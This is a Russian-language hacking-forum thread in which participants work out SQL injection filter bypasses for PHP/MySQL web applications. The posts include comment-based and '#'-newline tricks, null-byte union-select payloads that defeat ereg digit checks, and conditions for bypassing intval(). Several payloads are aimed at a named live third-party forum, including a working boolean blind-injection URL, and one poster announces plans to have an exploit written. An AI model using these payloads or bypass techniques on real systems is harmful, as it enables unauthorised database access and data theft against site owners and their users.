Не, а ты сразу не можешь все скопировать? Я не телепат. /**/and (/*)*/select substring(version(),1))=4 Ну такое к примеру прокатит, т.к. позиция первого /* будет равна 0. А strpos() ищет первое вхождение подстроки, в отличие от strrpos(), которая ищет последнее вхождение подстроки. P.S. даже такое прокатит: '/**/and (/*)*/select substring(version(),1))=4 - если кавычку надо где то закрыть, тут позиция будет равна 1. И такое тоже: ')/**/and (/*)*/select substring(version(),1))=4 - если кавычку надо где то закрыть и скобку, тут позиция будет равна 2 (а вот 3 уже не прокатит). Этого кстати должно хватить, получиться что то такое (к примеру): 1/**/and (/*)*/select substring(version(),1))=4 P.P.S. а на конце строке можно заюзать символ # (он тут не фильтруется) для за комментирования оставшийся части, правда при желание можно и не отбрасывать оставшуюся часть.
Ни один из вышеперечисленных вариантов не работает. Code: http://forum.rockmanpm.com/index.php?action=profile;sa=awardsMembers;u=1;[B]id=1[/B]
1. А откуда берётся значение переменной $clean? 2. Ты смотришь сорцы той же версии, что и форум по линку? P.S. а вообще тестить лучше на локалке.
Разобрался Сорцы не смотрел, но понял, что без них сказать что то сложно (возможно фильтрация идет в квери_стринг, а может как то очень по хитрому и по этому позиция /* определяется не правильно (не так как нам нужно)), но нашел другой выход: Пример: условие выполняется верно: http://forum.rockmanpm.com/index.php?action=profile&sa=awardsMembers&u=1&id=1+and+(%23)%0Aselect+5)=5 условие выполняется не верно: http://forum.rockmanpm.com/index.php?action=profile&sa=awardsMembers&u=1&id=1+and+(%23)%0Aselect+5)=4 Вот в чем фишка # - тоже комментирует строку и его они забыли добавить в фильтр (как я уже отметил раньше), значит мы его и заюзаем. Единственное нужно учитывать - это то, что он комментирует только 1 строку, делаем так: id=1+and+(%23)%0Aselect+5)=4 Получается так: id=1 and (#) select 5)=4 т.е. получается, что часть строки (а именно та, в которой закрывающая скобка) в запросе не участвует, но служит отличной закуской для регулярки, позволяя обойти фильтр. P.S. %23 - урл код это символа #, %0A - урл код новой строки. P.P.S. пошел запрягать РоА на написание сплоента)
PHP: if(ereg("^[0-9]+$",$ar["lid"] = $_GET['lid'])) { $query = mysql_query("SELECT * FROM main WHERE lid = '$lid'"); Почему не работает вариант с NULL-байтом ? например, 5%00.Нулл байт же обходит проверку при ereg функциях.
Grey, спасибо за объяснения, не ожидал такой помощи. Я тестил у себя на локале, но т.к. это локал, ссыль выложил на другой форум. PS: Сорсы этого "фильтра" - http://forum.rockmanpm.com/Sources/Subs.php~
Как именно не работает ? Как ты проверяешь ? меджик_квотес отключены ? lid=2%00'+union+select+1--+ - должно работать
Ээ...пасип,но уже не имеет смысла.Там кавычки включены оказывается. Решил чутка поменять на локалхосте: PHP: $c = mysql_connect("localhost","root","vertrigo"); $user = $_GET['user']; if(ereg("^[0-9]+$",$user)) { echo "Ты хакер,обошедший фильтрацию!"; $q = mysql_query("Select * from mysql.user where User='$user'"); $r = mysql_fetch_array($q); print_r($r); } else { echo "Хакер!"; } Результат только на кавычку катит,а запрос не провести.Пробовал ставить 1%00order+by+1 и т.д. Вообще,нашёл эту хрень на сайте,висящем на двиге,похожий на вордпресс. Есть переменные: lid,o,c,start,actions.Может,кто скажет точнее ?
Бесполезно: http://localhost/ttt.php?user=1%00'+union+select+version()/* Выводит тупо ошибку.На ордер ему пофиг.Запрос не провести
Валемир, а ты попробуй так: http://localhost/ttt.php?user=1%00'+order+by+1--+ Будет ошибка: Warning: mysql_result() [function.mysql-result]: Unable to jump to row 0 on MySQL result А потом так: http://localhost/ttt.php?user=1%00'+order+by+1000--+ Будет ошибка: Warning: mysql_result(): supplied argument is not a valid MySQL result Я прав или нет ?)
Чёрт побери,да ты прав!Только я заменил мускул резалт на феч аррай.Почему твой вариант работает?!? Ни --,ни /*,ни %3c не работает,а твой работает.Почему ?
Это не обязательно было делать Напиши у себя в скрипте PHP: $q = mysql_query("Select Password from mysql.user where User='$lid'"); $r = mysql_result($q,0); print_r($r); А потом http://localhost/ttt.php?user=1%00'+union+select+version()--+ И увидишь версию Насчет ошибок: "--" должно иметь пробел вконце. Это написано в документации, а игнорировать документацию не хорошо. А "/*" должно быть не работает из-за кавычки ... там есть особенность, тут почитай http://phpclub.ru/mysql/doc/comments.html
Писали в Хакере,что можно как-то обойти intval().реально это сделать ? (Провести полноценный запрос к БД)
Так не обойти: PHP: $id = intval($_REQUEST['id']); sql_query("select * from table_name where id=$id"); Так можно: PHP: $id=$_REQUEST['id']; if(intval($id)) { sql_query("select * from table_name where id=$id"); } https://forum.antichat.ru/thread56756.html
PHP: if ($do=="add") { $ttitle=mhtml(substr($HTTP_POST_VARS["ttitle"],0,256)); $url=mhtml(substr($HTTP_POST_VARS["url"],0,256)); $email=mhtml(substr($HTTP_POST_VARS["email"],0,256)); $description=mhtml(substr($HTTP_POST_VARS["description"],0,2048)); $c1=intval($HTTP_POST_VARS["c1"]); $error=""; if ($c1==0) $error.="<LI>".$LANG["mustbecat"]; if (empty($email)) $error.="<LI>".$LANG["mustbeemail"]; if (empty($url)) $error.="<LI>".$LANG["mustbeurl"]; if (empty($ttitle)) $error.="<LI>".$LANG["mustbetitle"]; if (empty($description)) $error.="<LI>".$LANG["mustbedescription"]; if (empty($error)) { if ($cat["mailifnewlink"]=="yes") { mail($cat["mailifnewlinkto"],$cat["mailifnewlinksubject"],"TITLE: $ttitle\nURL: $url\n"); } mysql_query("INSERT INTO main SET title='$ttitle', description='$description', url='$url', cat1='$c1', cat2='0', cat3='0', gin=0, gout=0, moder_vote=0, email='$email', type=0;") or die(mysql_error()); require("template.php"); if($onregister == "on") { $headers = "From: $namesender <$emailsender>\n"; mail($email,$subjbefore,html_entity_decode($templbefore,ENT_QUOTES),$headers); } $r=mysql_query("SELECT max(lid) FROM main WHERE url='$url'") or die(mysql_error()); $cid=@mysql_result($r,0,0); print ("<HTML><HEAD>\n"); print ("<META HTTP-EQUIV=refresh CONTENT='0;url=thx.php?id=$cid'>\n"); print ("</HEAD></HTML>\n"); die(); } } Скрипт: add.php Функция: mhtml() // Самописная PHP: function mhtml($t) { $t=StripSlashes($t); $t=str_replace("'","'",$t); $t=str_replace("\"",""",$t); return $t; } Функция эта сначала убирает слэши,которые экранируют кавычки(обратные то бишь) и спецсимволы экранируются.Также заменяются символы '\' и ' на хтмл сущности.т.е. бесполезные их варианты при проведении XSS.Ладно.Зато есть инжект в INSERT запросе. Уязвимые параметры: $email,$url,$ttitle,$description. Почему я так решил? Проверил на локалхосте: PHP: <?php $n=mhtml(substr($_GET["x"],0,256)); echo $n; function mhtml($t) { $t=StripSlashes($t); $t=str_replace("'","'",$t); $t=str_replace("\"",""",$t); return $t; } ?> Или я неправильно накодил,или стр реплейс не работает.Эта функция не заменяет кавычку вообще.На сервере включён magic_quotes_gpc.